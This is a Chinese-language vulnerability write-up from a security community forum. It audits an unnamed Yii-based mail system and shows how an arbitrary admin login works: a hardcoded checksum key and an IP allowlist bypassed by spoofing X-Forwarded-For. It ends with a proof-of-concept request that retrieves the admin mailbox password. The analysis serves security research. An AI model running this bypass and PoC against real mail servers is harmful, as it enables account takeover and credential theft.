某邮件系统后台管理员任意登录分析
0x00 前言
近期拿到了某邮件系统的一套源码,看到是YII框架编写的,本着学习YII框架出发,顺带对该套系统进行了审计。
0x01 YII框架路由初识
YII框架支持两种URL构造格式,分别为默认的格式和漂亮格式,漂亮格式使用额外的路径跟在入口脚本名之后,来展现路由和相关参数,默认格式/index.php?r=post/view&id=100
的路由为post/view
和参数id为100,使用漂亮格式则简化成/index.php/post/100
。
YII框架使用MVC模式进行开发,如果不了解MVC模式可以参考链接,不再赘述:https://www.yiichina.com/doc/guide/1.1/basics.mvc
想访问API目录下的controller 目录中的abccontroller.php
内的public function add()
方法,可如下构造
http://127.0.0.1/api/index.php?r=abc/add
0x02 漏洞挖掘-任意登录
在api/controllers/PostController.php中存在一个模拟登陆方法:
public function mockLogin() {
$language = $this->getParamFromRequest( "language" );
$name = $this->getParamFromRequest( 'domain' );
if (isset( $name ) && isset( $language )) {
$username = "admin";
if (! in_array( $language, array ("cn", "tw", "en" ) )) {
$this->returnErrorCode( CommonCode::COMMON_PARAM_ERROR, array ('{0}' => 'language' ) );
}
if (! ParameterChecker::checkLength( $name, Constants::DOMAIN_NAME_MAX_LENGTH )) {
$this->returnErrorCode( CommonCode::COMMON_DOMAIN_LENGTH_WRONG );
}
$domain = ServiceFactory::getDomainService()->getDomainByName( PunyCode::encode( strtolower( $name ) ) );
if ($domain == null) {
$this->returnErrorCode( CommonCode::COMMON_DOMAIN_IS_NOT_EXISTS );
}
$domainName = PunyCode::encode( $name );
$password = (empty($domain))?"":$domain["po_pwd"];
$otime = time();
$sysflag = 'sysmanage';
$checksum = md5( $sysflag . $username . $domainName . $password. $language . time() . Config::MONI_CHECKSUM_KEY );
$url = "http://" . ClientUtils::getHttpHost() . "/post/post.php?r=site/analogLogin&sysflag=$sysflag&lan=$language&domain=$domainName&username=$username&checksum=$checksum&otime=$otime";
header( "location:$url" );
} else {
$this->returnErrorCode( CommonCode::COMMON_PARAM_INCOMPLETE );
}
}
获取参数language和domain确定语言与域,传入 经过校验以后与po_pwd
、MONI_CHECKSUM_KEY
等结合起来构造校验的$checksum,成功进行登录。该接口需要验证,直接构造无法通过验证。
接下来跟到上文中提到的验证的位置,该位置为所有API方法调用时必须校验的方法:
api/classes/ApiController.php
private function checkServerTypeParams() {
if (! in_array( ClientUtils::getClientIP(), Config::getApiAllowUserIps() )) {
$this->returnErrorCode( CommonCode::COMMON_ILLEGAL_IP_SOURCE );
}
$id = $this->getParamFromRequest( 'id' );
$time = $this->getParamFromRequest( 'otime' );
if (! ParameterChecker::checkLength( $time, 20 )) {
$this->returnErrorCode( CommonCode::COMMON_ILLEGAL_CHECK_PARAM );
}
if (! ParameterChecker::checkIsDate( $time )) {
$this->returnErrorCode( CommonCode::COMMON_ILLEGAL_CHECK_PARAM );
}
$checkSum = $this->getParamFromRequest( 'ochecksum' );
if (! ParameterChecker::checkLength( $checkSum, 32 )) {
$this->returnErrorCode( CommonCode::COMMON_ILLEGAL_CHECK_PARAM );
}
$md5String = md5( $id . $time . Config::API_CHECKSUM_KEY );
if ($md5String != $checkSum) {
$this->returnErrorCode( CommonCode::COMMON_ILLEGAL_CHECKSUM );
}
}
可以看到该接口需要获取IP,并且与可允许的IP进行匹配,如果为同一个IP则进入该方法。 进入该验证方法以后前端传入ID
,OTIME
与ONCHECKSUM
进行验证,其中ID为固定ID,为模拟登陆模式,time为日期形式可以是随便一个日期只要符合条件就行,ONCHECKSUM
则与ID
,OTIME
和API_CHECKSUM_KEY
三者拼接起来的md5校验是否一致,最终校验通过以后验证通过,可以执行后续方法。
如图为ID固定ID:
加密时需要一个API_CHECKSUM_KEY
,全局搜索发现该key同样硬件key:
所以ONCHECKSUM
成功可以构造。但是需要进入checkServerTypeParams
方法,仍需要验证IP,我们跟一下getApiAllowUserIps
,发现可以被绕过:
看到了熟悉的获取x-forwarded-for
,可以实现伪造,在看$realip
的定义,直接固定ip写在代码里:
可以利用插件X-Forwarded-For Header伪造x-forwarded-for
:
结合以上所有点最终能够实现模拟登陆的功能
poc:
http://mail.a.com/api/index.php?r=Mailbox/getPassword
id=cm&otime=2021-03-11&ochecksum=083d71127d5ad99f8907358db2c8320a&language=cn&domain=a.com&mailbox=admin@a.com
- 本文作者: 带头大哥
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/138
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!